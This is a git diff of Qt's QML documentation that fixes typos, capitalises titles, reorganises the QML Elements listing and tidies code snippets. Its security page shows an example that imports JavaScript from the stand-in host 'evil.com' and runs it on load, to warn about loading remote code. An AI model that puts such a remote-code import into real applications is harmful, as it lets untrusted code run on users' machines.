diff options
Diffstat (limited to 'doc/src/declarative')
20 files changed, 311 insertions, 252 deletions
diff --git a/doc/src/declarative/advtutorial.qdoc b/doc/src/declarative/advtutorial.qdoc index 6cd1f22..263c78b 100644 --- a/doc/src/declarative/advtutorial.qdoc +++ b/doc/src/declarative/advtutorial.qdoc @@ -41,7 +41,7 @@ included in the declarative \c demos directory, which looks like this: \image declarative-samegame.png We will cover concepts for producing a fully functioning application, including -JavaScript integration, using QML \l States and \l {Behavior}{Behaviors} to +JavaScript integration, using QML \l{State}{States} and \l{Behavior}{Behaviors} to manage components and enhance your interface, and storing persistent application data. An understanding of JavaScript is helpful to understand parts of this tutorial, but if you don't @@ -462,5 +462,4 @@ By following this tutorial you've seen how you can write a fully functional appl There is so much more to learn about QML that we haven't been able to cover in this tutorial. Check out all the demos and examples and the \l {Qt Quick}{documentation} to see all the things you can do with QML! - */ diff --git a/doc/src/declarative/anchor-layout.qdoc b/doc/src/declarative/anchor-layout.qdoc index 941acfe..0655fdb 100644 --- a/doc/src/declarative/anchor-layout.qdoc +++ b/doc/src/declarative/anchor-layout.qdoc @@ -28,7 +28,7 @@ /*! \page qml-anchor-layout.html \target anchor-layout -\title Anchor-based Layout in QML +\title Anchor-Based Layout in QML \section1 Overview diff --git a/doc/src/declarative/basictypes.qdoc b/doc/src/declarative/basictypes.qdoc index 463e4a3..289a7a0 100644 --- a/doc/src/declarative/basictypes.qdoc +++ b/doc/src/declarative/basictypes.qdoc @@ -174,13 +174,10 @@ transparent blue to a quad of \c "#800000FF". Example: - \qml - Rectangle { color: "steelblue" } - Rectangle { color: "transparent" } - Rectangle { color: "#FF0000" } - Rectangle { color: "#800000FF" } - Rectangle { color: "#00000000" } // ARGB fully transparent - \endqml + \div{float-right} + \inlineimage declarative-colors.png + \enddiv + \snippet doc/src/snippets/declarative/colors.qml colors Or with the \l{QML:Qt::rgba()}{Qt.rgba()}, \l{QML:Qt::hsla()}{Qt.hsla()}, \l{QML:Qt::darker()}{Qt.darker()}, \l{QML:Qt::lighter()}{Qt.lighter()} or \l{QML:Qt::tint()}{Qt.tint()} functions: @@ -361,9 +358,11 @@ Actions are used like this: \qml - MouseArea { onClicked: myaction.trigger() } - State { name: "enabled"; when: myaction.enabled == true } - Text { text: someaction.text } + Item { + MouseArea { onClicked: myaction.trigger() } + State { name: "enabled"; when: myaction.enabled == true } + Text { text: someaction.text } + } \endqml \sa {QML Basic Types} diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc index 491e499..aa9ed18 100644 --- a/doc/src/declarative/declarativeui.qdoc +++ b/doc/src/declarative/declarativeui.qdoc @@ -91,7 +91,7 @@ Module. \list \o \l{QML Documents} \o \l{Property Binding} -\o \l{Anchor-based Layout in QML} +\o \l{Anchor-Based Layout in QML} \o \l{Writing QML Components: Properties, Methods and Signals} \o \l{QML Scope} \o \l{QML Modules} diff --git a/doc/src/declarative/dynamicobjects.qdoc b/doc/src/declarative/dynamicobjects.qdoc index f186dca..316fe6b 100644 --- a/doc/src/declarative/dynamicobjects.qdoc +++ b/doc/src/declarative/dynamicobjects.qdoc @@ -190,7 +190,9 @@ Note also that if a \c SelfDestroyingRect instance was created statically like t \qml Item { - SelfDestroyingRect { ... } + SelfDestroyingRect { + // ... + } } \endqml diff --git a/doc/src/declarative/elements.qdoc b/doc/src/declarative/elements.qdoc index 40d67e7..466b940 100644 --- a/doc/src/declarative/elements.qdoc +++ b/doc/src/declarative/elements.qdoc @@ -29,118 +29,161 @@ \page qdeclarativeelements.html \target elements \title QML Elements - \brief A dictionary of standard QML elements. - - This is a dictionary of all standard QML elements made available - in the Qt Declarative module. - - To see the QML elements listed by functional area, see the - \l{Groups Of Related QML Elements} page. - - \table - \header \o {2,1} \bold {Basic Visual Items} - \row \o \l {Item} \o Basic item element inherited by all visual items in QML - \row \o \l {Rectangle} \o Basic visual rectangle element - \row \o \l {Gradient} \o Defines a gradient between two or more colors - \row \o \l {GradientStop} \o Defines a color used in a \l {Gradient} - \row \o \l {Image} \o Allows the use of bitmaps to a scene - \row \o \l {BorderImage} (Item-specific) \o Defines an image as a border - \row \o \l {AnimatedImage} \o For playing animations stored as a series of frames - \row \o \l {Text} \o Allows the use of formatted text in a scene - \row \o \l {TextInput} \o Displays an editable line of text - \row \o \l {IntValidator} \o Validator for integer values - \row \o \l {DoubleValidator} \o Validator for non-integer values - \row \o \l {RegExpValidator} \o Validator for string regular expressions - \row \o \l {TextEdit} \o Displays multiple lines of editable formatted text - - \header \o {2,1} \bold {Basic Interaction Items} - \row \o \l {MouseArea} \o Handles mouse interactions - \row \o \l {FocusScope} \o For keyboard focus handling - \row \o \l {Flickable} \o Provides a surface that can be "flicked" - \row \o \l {Flipable} \o Provides a surface that produces flipping effects - \row \o \l {GestureArea} (experimental) \o Enables simple gesture handling - - \header \o {2,1} \bold {States} - \row \o \l {State} \o Defines sets of configurations of objects and properties - \row \o \l {PropertyChanges} \o Describes property changes within a state - \row \o \l {StateGroup} \o Contains a set of states and state transitions - \row \o \l {StateChangeScript} \o Allows script binding in a state - \row \o \l {ParentChange} (Item-specific) \o Re-parent an Item in a state change - \row \o \l {AnchorChanges} \o Change the anchors of an item in a state - - \header \o {2,1} \bold {Animation and Transitions} - \row \o \l {Behavior} \o Specifies a default animation for property changes - \row \o \l {SequentialAnimation} \o Runs animations sequentially - \row \o \l {ParallelAnimation} \o Runs animations in parallel - \row \o \l {PropertyAnimation} \o Animates property changes - \row \o \l {NumberAnimation} \o Animates properties of type qreal - \row \o \l {Vector3dAnimation} \o Animates properties of type QVector3d - \row \o \l {ColorAnimation} \o Animates color changes - \row \o \l {RotationAnimation} \o Animates rotations - \row \o \l {ParentAnimation} \o Animates parent changes - \row \o \l {AnchorAnimation} \o Animates anchor changes - \row \o \l {PauseAnimation} \o Pauses an animation - \row \o \l {SmoothedAnimation} \o Allows a property to smoothly track a value - \row \o \l {SpringAnimation} \o Allows a property to track a value in a spring-like motion - \row \o \l {PropertyAction} \o Sets immediate property changes during animation - \row \o \l {ScriptAction} \o Runs scripts during an animation - \row \o \l {Transition} \o Animates transitions during state changes - - \header \o {2,1} \bold {Working with Data} - \row \o \l {Binding} \o Binds any value to any property - \row \o \l {ListModel} \o Defines a list of data - \row \o \l {ListElement} \o Defines a data item in a \l {ListModel} - \row \o \l {VisualItemModel} \o Contains items that already defines its own visual delegate - \row \o \l {VisualDataModel} \o Encapsulates a model and a delegate - \row \o \l {Package} \o Collection that enables sharing of items within different views - \row \o \l {XmlListModel} \o Specifies a model using XPath expressions - \row \o \l {XmlRole} \o Specifies a role for an \l {XmlListModel} - - \header \o {2,1} \bold {Views} - \row \o \l {ListView} \o Provides a list visualization of a model - \row \o \l {GridView} \o Provides a grid visualization of a model - \row \o \l {PathView} \o Visualizes a model's contents along a path - \row \o \l {Path} \o Defines a path used by \l {PathView} - \row \o \l {PathLine} \o Defines a line in \l {Path} - \row \o \l {PathQuad} \o Defines a quadratic Bezier curve in a \l {Path} - \row \o \l {PathCubic} \o Defines a cubic Bezier curve in a \l {Path} - \row \o \l {PathAttribute} \o Allows the setting of attributes along a \l {Path} - \row \o \l {PathPercent} \o Modifies the item distribution along a \l {Path} - \row \o \l {WebView} \o Allows the addition of web content to a canvas - - \header \o {2,1} \bold {Positioners} - \row \o \l {Column} \o Arranges its children vertically - \row \o \l {Row} \o Arranges its children horizontally - \row \o \l {Grid} \o Positions its children in a grid - \row \o \l {Flow} \o Positions its children with wrapping support - - \header \o {2,1} \bold {Utility} - \row \o \l {Connections} \o Explicitly connects signals and signal handlers - \row \o \l {Component} \o Encapsulate QML items as a component - \row \o \l {Timer} \o Provides timed triggers - \row \o \l {QML:QtObject} {QtObject} \o Basic element containing only the objectName property - \row \o \l {QML:Qt} {Qt} \o The QML global Qt object provides useful enums and functions from Qt. - \row \o \l {WorkerScript} \o Enables the use of threads in QML - \row \o \l {Loader} \o Controls the loading of items or components - \row \o \l {Repeater} \o Uses a model to create multiples of components - \row \o \l {SystemPalette} \o Provides access to the Qt palettes - \row \o \l {FontLoader} \o Loads fonts by name or URL - \row \o \l {LayoutItem} \o Allows declarative UI elements inside Qt's Graphics View layouts - - \header \o {2,1} \bold {Transforms} - \row \o \l {Scale} \o Assigns item scaling behaviors - \row \o \l {Rotation} \o Assigns item rotation behaviors - \row \o \l {Translate} \o Assigns item translation behaviors - - \header \o {2,1} \bold {Effects} - \row \o \l {Particles} (experimental) \o Generates and animates particles - \row \o \l {ParticleMotionLinear} \o Adds linear motion behavior to \l {Particles} - \row \o \l {ParticleMotionGravity} \o Adds gravitational motion to \l {Particles} - \row \o \l {ParticleMotionWander} \o Adds varied motions to \l {Particles} - \endtable - - - + \brief A listing of standard QML elements. + +These are the functionally grouped lists of QML elements. + +Elements are declared with the their name and two curly braces. Elements may +be nested in elements, thereby creating a parent-child relationship between the +two elements. + +To see the QML elements listed by functional area, see the +\l{Groups Of Related QML Elements} page. + +\section1 Basic QML Elements +\list +\o \l {Item} - Basic item element inherited by QML elements +\o \l {Component} - Encapsulates QML elements during importing +\o \l {QML:QtObject} {QtObject} - Basic element containing only the objectName property +\endlist + +\section1 Graphics +\list +\o \l {Rectangle} - A rectangle element +\o \l {Image} - For incorporating bitmaps into a scene +\o \l {BorderImage} - Allows the use of images as borders +\o \l {AnimatedImage} - For playing animations stored in a series of frames +\o \l {Gradient} - For defining a color gradient +\o \l {GradientStop} - Used to define a color within a \l {Gradient} +\o \l {SystemPalette} - Provides access to the Qt palettes +\endlist + +\section1 Text Handling +\list +\o \l {Text} - For inserting formatted text into a scene +\o \l {TextInput} - Captures user key input +\o \l {TextEdit} - Displays multiple lines of editable formatted text +\o \l {IntValidator} - Validates values as integers +\o \l {DoubleValidator} - Validates real values +\o \l {RegExpValidator} - Validator for string regular expressions +\o \l {FontLoader} - Loads fonts by name or URL +\endlist + +\section1 Mouse and Interaction Area +\list +\o \l {MouseArea} - Sets up an area for mouse interaction +\o \l {Keys} - Provides components with attached properties to handle key input. +\o \l {FocusScope} - Element that mediate keyboard focus changes +\o \l {Flickable} - Provides a surface that can be "flicked" +\o \l {Flipable} - Provides a surface that produces "flipping" effects +\o \l {GestureArea} - Enables simple gesture handling +\endlist + +\section1 Positioners and Repeater +\list +\o \l {Column} - Arranges its children vertically +\o \l {Row} - Arranges its children horizontally +\o \l {Grid} - Positions its children in a grid +\o \l {Flow} - Positions its children with wrapping support +\o \l {Repeater} - Uses a model to create multiple components +\endlist + +\section1 Transformations +\list +\o \l {Scale} - Assigns item scaling behaviors +\o \l {Rotation} - Assigns item rotation behaviors +\o \l {Translate} - Assigns item translation behaviors +\endlist + +\section1 States +\list +\o \l {State} - Defines sets of configurations of objects and properties +\o \l {PropertyChanges} - Describes property changes within a state +\o \l {StateGroup} - Contains a set of states and state transitions +\o \l {StateChangeScript} - Allows script binding in a state +\o \l {ParentChange} - Re-parent an Item in a state change +\o \l {AnchorChanges} - Change the anchors of an item in a state +\endlist + +\section1 Animation and Transitions +\list +\o \l {Transition} - Animates transitions during state changes +\o \l {SequentialAnimation} - Runs animations sequentially +\o \l {ParallelAnimation} - Runs animations in parallel +\o \l {Behavior} - Specifies a default animation for property changes +\o \l {PropertyAction} - Sets immediate property changes during animation +\o \l {PauseAnimation} - Introduces a pause in an animation +\o \l {SmoothedAnimation} - Allows a property to smoothly track a value +\o \l {SpringAnimation} - Allows a property to track a value in a spring-like motion +\o \l {ScriptAction} - Runs scripts during an animation +\endlist + +Elements that animate properties based on data types +\list +\o \l {PropertyAnimation} - Animates property changes +\o \l {NumberAnimation} - Animates properties of type qreal +\o \l {Vector3dAnimation} - Animates properties of type QVector3d +\o \l {ColorAnimation} - Animates color changes +\o \l {RotationAnimation} - Animates rotations +\o \l {ParentAnimation} - Animates parent changes +\o \l {AnchorAnimation} - Animates anchor changes +\endlist + +\section1 Models and Data Handling +\list +\o \l {ListModel} - Defines a list of data +\o \l {ListElement} - Defines a data item in a \l {ListModel} +\o \l {VisualItemModel} - Contains items that already defines its own visual delegate +\o \l {VisualDataModel} - Encapsulates a model and a delegate +\o \l {XmlListModel} - Specifies a model using XPath expressions +\o \l {XmlRole} - Specifies a role for an \l {XmlListModel} +\o \l {Binding} - Binds any value to any property +\o \l {Package} - Collection that enables sharing of items within different views +\endlist + +\section1 Views +\list +\o \l {ListView} - Provides a list visualization of a model +\o \l {GridView} - Provides a grid visualization of a model +\o \l {PathView} - Visualizes a model's contents along a path. See \l {Path Definition}{Path Elements} for more information. +\endlist + +\section1 Path Definition +\list +\o \l {Path} - Defines a path used by \l {PathView} +\o \l {PathLine} - Defines a line in \l {Path} +\o \l {PathQuad} - Defines a quadratic Bezier curve in a \l {Path} +\o \l {PathCubic} - Defines a cubic Bezier curve in a \l {Path} +\o \l {PathAttribute} - Allows the setting of attributes along a \l {Path} +\o \l {PathPercent} - Modifies the item distribution along a \l {Path} +\endlist + +\section1 Utility +\list +\o \l {Connections} - Explicitly connects signals and signal handlers +\o \l {Timer} - Provides timed triggers +\o \l {QML:Qt} {Qt} - The QML global Qt object provides useful enums and functions from Qt. +\o \l {WorkerScript} - Enables the use of threads in QML +\o \l {Loader} - Controls the loading of items or components +\o \l {LayoutItem} - Allows declarative UI elements inside Qt's Graphics View layouts +\endlist + +\section1 Graphical Effects +\list +\o \l {Particles} - Generates and animates particles +\o \l {ParticleMotionLinear} - Adds linear motion behavior to \l {Particles} +\o \l {ParticleMotionGravity} - Adds gravitational motion to \l {Particles} +\o \l {ParticleMotionWander} - Adds varied motions to \l {Particles} +\endlist + +\section1 Add-On Elements +These elements are not included in the \c{QtQuick 1.0} module. Their respective QML bindings +should first be obtained and installed. +\list +\o \l{WebView}{QtWebKit QML Module - WebView Element} - For displaying Web contents +\o \l{http://doc.qt.nokia.com/qtmobility-1.1.0/qml-plugins.html}{Mobility QML Plugins} +\endlist + */ @@ -148,7 +191,7 @@ \group qml-groups \title Groups Of Related QML Elements - \brief If you know what kind of QML element you want (Basic Visual, + \brief If you know what kind of QML element you want (Basic Visual, Interaction, Animation, etc), look here. This is a list of functional groups of QML elements. diff --git a/doc/src/declarative/example-slideswitch.qdoc b/doc/src/declarative/example-slideswitch.qdoc index 2b82b2f..9f84ee6 100644 --- a/doc/src/declarative/example-slideswitch.qdoc +++ b/doc/src/declarative/example-slideswitch.qdoc @@ -60,8 +60,16 @@ It can be used to activate/disactivate the switch or to query its current state. In this example: \qml -Switch { id: mySwitch; on: true } -Text { text: "The switch is on"; visible: mySwitch.on == true } +Item { + Switch { + id: mySwitch + on: true + } + Text { + text: "The switch is on" + visible: mySwitch.on == true + } +} \endqml the text will only be visible when the switch is on. diff --git a/doc/src/declarative/extending.qdoc b/doc/src/declarative/extending.qdoc index 3f1413c..5a95551 100644 --- a/doc/src/declarative/extending.qdoc +++ b/doc/src/declarative/extending.qdoc @@ -802,12 +802,14 @@ It is optional for a property to have a default value. The default value is a co behaviorally identical to doing it in two steps, like this: \qml -// Use default value -property int myProperty: 10 +Item { + // Use default value + property int myProperty: 10 -// Longer, but behaviorally identical -property int myProperty -myProperty: 10 + // Longer, but behaviorally identical + property int myProperty + myProperty: 10 +} \endqml @@ -838,9 +840,11 @@ QML object types can also be used as property types. This includes defined like this: \qml -property Item itemProperty -property QtObject objectProperty -property MyCustomType customProperty +Item { + property Item itemProperty + property QtObject objectProperty + property MyCustomType customProperty +} \endqml Such object-type properties default to an \c undefined value. @@ -853,7 +857,9 @@ see the \l {variant}{variant type documentation} for details. list: \qml -property list<Item> listOfItems +Item { + property list<Item> listOfItems +} \endqml Note that list properties cannot be modified like ordinary JavaScript @@ -894,7 +900,7 @@ If the \l{Item::children}{children} property was not the default property for \qml Item { children: [ - Rectangle {} + Rectangle {}, Rectangle {} ] } @@ -1144,7 +1150,7 @@ code removes the connection created in \c application.qml above: \qml // application.qml Item { - ... + // ... function removeSignal() { button.clicked.disconnect(item.myMethod) @@ -1169,5 +1175,4 @@ MouseArea { Whenever the \l MouseArea \c clicked signal is emitted, the \c rect.buttonClicked signal will automatically be emitted as well. - */ diff --git a/doc/src/declarative/globalobject.qdoc b/doc/src/declarative/globalobject.qdoc index 83d3ddc..85a3a25 100644 --- a/doc/src/declarative/globalobject.qdoc +++ b/doc/src/declarative/globalobject.qdoc @@ -48,7 +48,7 @@ data from over a network. The XMLHttpRequest API implements the same \l {http://www.w3.org/TR/XMLHttpRequest/}{W3C standard} as many popular web browsers with following exceptions: \list -\i QML's XMLHttpRequest does not enforce the same origin policty. +\i QML's XMLHttpRequest does not enforce the same origin policy. \i QML's XMLHttpRequest does not support \e synchronous requests. \endlist @@ -77,7 +77,7 @@ browser. The following objects and properties are supported by the QML implemen \o lastChild \o previousSibling \o nextSibling -\o attribtes +\o attributes \endlist \o diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc index 1dca28c..3bb69da 100644 --- a/doc/src/declarative/modules.qdoc +++ b/doc/src/declarative/modules.qdoc @@ -52,7 +52,7 @@ An \c import statement includes the module name, and possibly a version number. This can be seen in the snippet commonly found at the top of QML files: \qml - import QtQuick 1.0 +import QtQuick 1.0 \endqml This imports version 1.0 of the "QtQuick" module into the global namespace. (The QML diff --git a/doc/src/declarative/positioners.qdoc b/doc/src/declarative/positioners.qdoc index 387f390..5493d4a 100644 --- a/doc/src/declarative/positioners.qdoc +++ b/doc/src/declarative/positioners.qdoc @@ -53,9 +53,9 @@ graphical elements: \section2 Column -\beginfloatright -\image qml-column.png -\endfloat +\div{float-right} +\inlineimage qml-column.png +\enddiv \l Column items are used to vertically arrange items. The following example uses a Column item to arrange three \l Rectangle items in an area defined @@ -70,9 +70,9 @@ must be added to a parent Rectangle, if desired. \section2 Row -\beginfloatright -\image qml-row.png -\endfloat +\div{float-right} +\inlineimage qml-row.png +\enddiv \l Row items are used to horizontally arrange items. The following example uses a Row item to arrange three rounded \l Rectangle items in an area defined @@ -87,9 +87,9 @@ left around the edges of the horizontally centered Row item. \section2 Grid -\beginfloatright -\image qml-grid-spacing.png -\endfloat +\div{float-right} +\inlineimage qml-grid-spacing.png +\enddiv \l Grid items are used to place items in a grid or table arrangement. The following example uses a Grid item to place four \l Rectangle items @@ -108,10 +108,10 @@ at the appropriate places in the Grid definition. \section2 Flow -\beginfloatright -\image qml-flow-text1.png -\image qml-flow-text2.png -\endfloat +\div{float-right} +\inlineimage qml-flow-text1.png +\inlineimage qml-flow-text2.png +\enddiv \l Flow items are used to place items like words on a page, with rows or columns of non-overlapping items. @@ -137,9 +137,9 @@ control of spacing between items and between lines of items. \section1 Repeaters -\beginfloatright -\image qml-repeater-grid-index.png -\endfloat +\div{float-right} +\inlineimage qml-repeater-grid-index.png +\enddiv Repeaters create items from a template for use with positioners, using data from a model. Combining repeaters and positioners is an easy way to lay out diff --git a/doc/src/declarative/qdeclarativeintro.qdoc b/doc/src/declarative/qdeclarativeintro.qdoc index 61241c5..02692de 100644 --- a/doc/src/declarative/qdeclarativeintro.qdoc +++ b/doc/src/declarative/qdeclarativeintro.qdoc @@ -27,7 +27,7 @@ /*! \page qdeclarativeintroduction.html -\title Introduction to the QML language +\title Introduction to the QML Language \tableofcontents @@ -45,7 +45,7 @@ technologies like HTML and CSS, but it's not required. QML looks like this: -\code +\qml import QtQuick 1.0 Rectangle { @@ -58,7 +58,7 @@ Rectangle { anchors.centerIn: parent } } -\endcode +\endqml Here we create two objects, a \l Rectangle object and its child \l Image object. Objects are specified by their type, followed by a pair of @@ -71,18 +71,18 @@ value \c "pics/logo.png". The property and its value are separated by a colon. Properties can be specified one-per-line: -\code +\qml Rectangle { width: 100 height: 100 } -\endcode +\endqml or you can put multiple properties on a single line: -\code +\qml Rectangle { width: 100; height: 100 } -\endcode +\endqml When multiple property/value pairs are specified on a single line, they must be separated by a semicolon. @@ -92,7 +92,6 @@ standard \l {QML Elements}. Without this import statement, the \l Rectangle and \l Image elements would not be available. - \section1 Comments Commenting in QML is similar to JavaScript. @@ -110,19 +109,19 @@ your QML files. Comments can also be used to prevent the execution of code, which is sometimes useful for tracking down problems. -\code +\qml Text { text: "Hello world!" //opacity: 0.5 } -\endcode +\endqml In the above example, the \l Text object will have normal opacity, since the line opacity: 0.5 has been turned into a comment. -\section1 Object identifiers +\section1 Object Identifiers Each object can be given a special \e id value that allows the object to be identified and referred to by other objects. @@ -161,19 +160,19 @@ characters other than letters, numbers and underscores. JavaScript expressions can be used to assign property values. For example: -\code +\qml Item { width: 100 * 3 height: 50 + 22 } -\endcode +\endqml These expressions can include references to other objects and properties, in which case a \l{Property Binding}{binding} is established: when the value of the expression changes, the property to which the expression is assigned is automatically updated to the new value. For example: -\code +\qml Item { width: 300 height: 300 @@ -184,7 +183,7 @@ Item { color: "yellow" } } -\endcode +\endqml Here, the \l Rectangle object's \c width property is set relative to the width of its parent. Whenever the parent's width changes, the width of the \l Rectangle is @@ -195,19 +194,19 @@ automatically updated. \section1 Properties \target intro-properties -\section2 Basic property types +\section2 Basic Property Types QML supports properties of many types (see \l{QML Basic Types}). The basic types include \c int, \c real, \c bool, \c string and \c color. -\code +\qml Item { x: 10.5 // a 'real' property state: "details" // a 'string' property focus: true // a 'bool' property - ... + // ... } -\endcode +\endqml QML properties are what is known as \e type-safe. That is, they only allow you to assign a value that matches the property type. For example, the \c x property of item is a real, and if you try to assign @@ -223,7 +222,7 @@ Note that with the exception of \l {Attached Properties}, properties always begi letter. -\section2 Property change notifications +\section2 Property Change Notifications When a property changes value, it can send a signal to notify others of this change. @@ -249,52 +248,52 @@ Signal handlers are explained further \l {Signal Handlers}{below}. List properties look like this: -\code +\qml Item { children: [ Image {}, Text {} ] } -\endcode +\endqml The list is enclosed in square brackets, with a comma separating the list elements. In cases where you are only assigning a single item to a list, you can omit the square brackets: -\code +\qml Image { children: Rectangle {} } -\endcode +\endqml Items in the list can be accessed by index. See the \l{list}{list type} documentation for more details about list properties and their available operations. -\section2 Default properties +\section2 Default Properties Each object type can specify one of its list or object properties as its default property. If a property has been declared as the default property, the property tag can be omitted. For example this code: -\code +\qml State { changes: [ PropertyChanges {}, PropertyChanges {} ] } -\endcode +\endqml can be simplified to: -\code +\qml State { PropertyChanges {} PropertyChanges {} } -\endcode +\endqml because \c changes is the default property of the \c State type. @@ -331,7 +330,7 @@ element that attaches \e property. For example, the \l ListView element attaches the \e ListView.isCurrentItem property to each delegate it creates: -\code +\qml Component { id: myDelegate Text { @@ -339,21 +338,24 @@ Component { color: ListView.isCurrentItem ? "red" : "blue" } } +\endqml + +\qml ListView { delegate: myDelegate } -\endcode +\endqml Another example of attached properties is the \l Keys element which attaches properties for handling key presses to any visual Item, for example: -\code +\qml Item { focus: true Keys.onSelectPressed: console.log("Selected") } -\endcode +\endqml \section1 Signal Handlers @@ -362,7 +364,7 @@ example, the \l MouseArea element has an \l {MouseArea::}{onClicked} handler tha be used to respond to a mouse click. Below, we use this handler to print a message whenever the mouse is clicked: -\code +\qml Item { width: 100; height: 100 @@ -373,7 +375,7 @@ Item { } } } -\endcode +\endqml All signal handlers begin with \e "on". @@ -382,7 +384,7 @@ the MouseArea \l{MouseArea::}{onPressed} signal handler has a \c mouse parameter that contains information about the mouse press. This parameter can be referred to in the JavaScript code, as below: -\code +\qml MouseArea { acceptedButtons: Qt.LeftButton | Qt.RightButton onPressed: { @@ -390,7 +392,5 @@ MouseArea { console.log("Right mouse button pressed") } } -\endcode - - +\endqml */ diff --git a/doc/src/declarative/qdeclarativemodels.qdoc b/doc/src/declarative/qdeclarativemodels.qdoc index cf85175..9409eaf 100644 --- a/doc/src/declarative/qdeclarativemodels.qdoc +++ b/doc/src/declarative/qdeclarativemodels.qdoc @@ -281,7 +281,7 @@ with models of type QAbstractItemModel: \endlist -\section2 Exposing C++ data models to QML +\section2 Exposing C++ Data Models to QML The above examples use QDeclarativeContext::setContextProperty() to set model values directly in QML components. An alternative to this is to @@ -313,7 +313,9 @@ MyModel { id: myModel ListElement { someProperty: "some value" } } +\endqml +\qml ListView { width: 200; height: 250 model: myModel @@ -504,9 +506,9 @@ a Web browser. \l ListView shows a classic list of items with horizontal or vertical placing of items. -\beginfloatright +\div{float-right} \inlineimage qml-listview-snippet.png -\endfloat +\enddiv The following example shows a minimal ListView displaying a sequence of numbers (using an \l{QML Data Models#An Integer}{integer as a model}). diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc index 8aa031d..482043c 100644 --- a/doc/src/declarative/qdeclarativesecurity.qdoc +++ b/doc/src/declarative/qdeclarativesecurity.qdoc @@ -41,8 +41,12 @@ arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elemen For example, this QML content: \qml +import QtQuick 1.0 import "http://evil.com/evil.js" as Evil -... Evil.doEvil() ... + +Component { + onLoaded: Evil.doEvil() +} \endqml is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution diff --git a/doc/src/declarative/qdeclarativestates.qdoc b/doc/src/declarative/qdeclarativestates.qdoc index c6160c5..6d5aebc 100644 --- a/doc/src/declarative/qdeclarativestates.qdoc +++ b/doc/src/declarative/qdeclarativestates.qdoc @@ -71,7 +71,7 @@ of an item, set the \l {Item::}{state} property to the name of the state. Non-Item objects can use states through the StateGroup element. -\section1 Creating states +\section1 Creating States To create a state, add a \l State object to the item's \l {Item::}{states} property, which holds a list of states for that item. @@ -91,7 +91,7 @@ objects, not just the object that owns the state. For example: \qml Rectangle { - ... + // ... states: [ State { name: "moved" @@ -106,14 +106,7 @@ As a convenience, if an item only has one state, its \l {Item::}{states} property can be defined as a single \l State, without the square-brace list syntax: -\qml -Item { - ... - states: State { - ... - } -} -\endqml +\snippet doc/src/snippets/declarative/propertyanimation.qml single state A \l State is not limited to performing modifications on property values. It can also: @@ -130,7 +123,7 @@ demonstrates how to declare a basic set of states and apply animated transitions between them. -\section1 The default state +\section1 The Default State Of course, the \l Rectangle in the example above could have simply been moved by setting its position to (50, 50) in the mouse area's \c onClicked handler. @@ -146,7 +139,7 @@ like this: \qml Rectangle { - ... + // ... MouseArea { id: mouseArea @@ -154,8 +147,9 @@ Rectangle { } states: State { - name: "moved"; when: mouseArea.pressed - ... + name: "moved" + when: mouseArea.pressed + // ... } } \endqml @@ -171,7 +165,7 @@ using the \l {State::}{when} property, the above code could be changed to: \qml Rectangle { - ... + // ... MouseArea { anchors.fill: parent @@ -181,7 +175,7 @@ Rectangle { states: State { name: "moved" - ... + // ... } } \endqml @@ -191,7 +185,7 @@ as it provides a simpler (and a better, more declarative) solution than assigning the state from signal handlers. -\section1 Animating state changes +\section1 Animating State Changes State changes can be easily animated through \l {Transitions}{transitions}. A @@ -203,12 +197,14 @@ movement of the \l Rectangle would be animated: \qml Rectangle { - ... + // ... - MouseArea { ... } + MouseArea { + // Handle mouse events... + } states: [ - ... + // States are defined here... ] transitions: [ @@ -224,5 +220,4 @@ during a state change within this item, their values should be animated over 500 milliseconds. See the \l Transitions documentation for more information. - */ diff --git a/doc/src/declarative/qml-intro.qdoc b/doc/src/declarative/qml-intro.qdoc index 563dc3b..3f3e0e4 100644 --- a/doc/src/declarative/qml-intro.qdoc +++ b/doc/src/declarative/qml-intro.qdoc @@ -61,7 +61,7 @@ The basic syntax of an \l{QML Elements}{element} is \qml SomeElement { id: myObject - ... some other things here ... + // ... some other things here ... } \endqml @@ -247,13 +247,17 @@ referencing these properties from another object we use the property directly, instead of saying: \qml -myRectangle.anchors.top // Wrong +Item { + anchors.bottom: myRectangle.anchors.top // Wrong +} \endqml we use \qml -myRectangle.top // Correct +Item { + anchors.bottom: myRectangle.top // Correct +} \endqml @@ -275,11 +279,7 @@ about the z-axis by 90 degrees in a negative direction, anti-clockwise. Rotation of text was also suggested. It could also be useful to scale the text. We can do both. The \l {Item::transform}{transform} property is a \e list of \l Transform elements, so using the list syntax - -\qml -myList: [ listElement1, listElement2, ... } ] -\endqml - +\c{myList: [ listElement1, listElement2, ... } ]} we can produce a list of transformations. The text will be rotated by 45 degrees anti-clockwise and scaled diff --git a/doc/src/declarative/qmlinuse.qdoc b/doc/src/declarative/qmlinuse.qdoc index 3ab1634..7380ef5 100644 --- a/doc/src/declarative/qmlinuse.qdoc +++ b/doc/src/declarative/qmlinuse.qdoc @@ -72,7 +72,7 @@ </div> <!-- tech domains start --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -100,7 +100,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -140,7 +140,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -185,7 +185,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -198,7 +198,7 @@ <!-- video box end --> </div> <div class="primary"> - <h2><a name="interactElement">QML Interaction Elements</h2></a> + <h2><a name="interactElement">QML Interaction Elements</a></h2> <p> These elements define basic interactions such as touch movements and focus management.</p> <b>Elements:</b> @@ -216,7 +216,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -243,7 +243,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -276,7 +276,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -307,7 +307,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- video box --> @@ -334,7 +334,7 @@ </div> <!-- next --> <div class="item group"> - <hr> + <hr /> <div class="secondary"> <div class="box"> <!-- 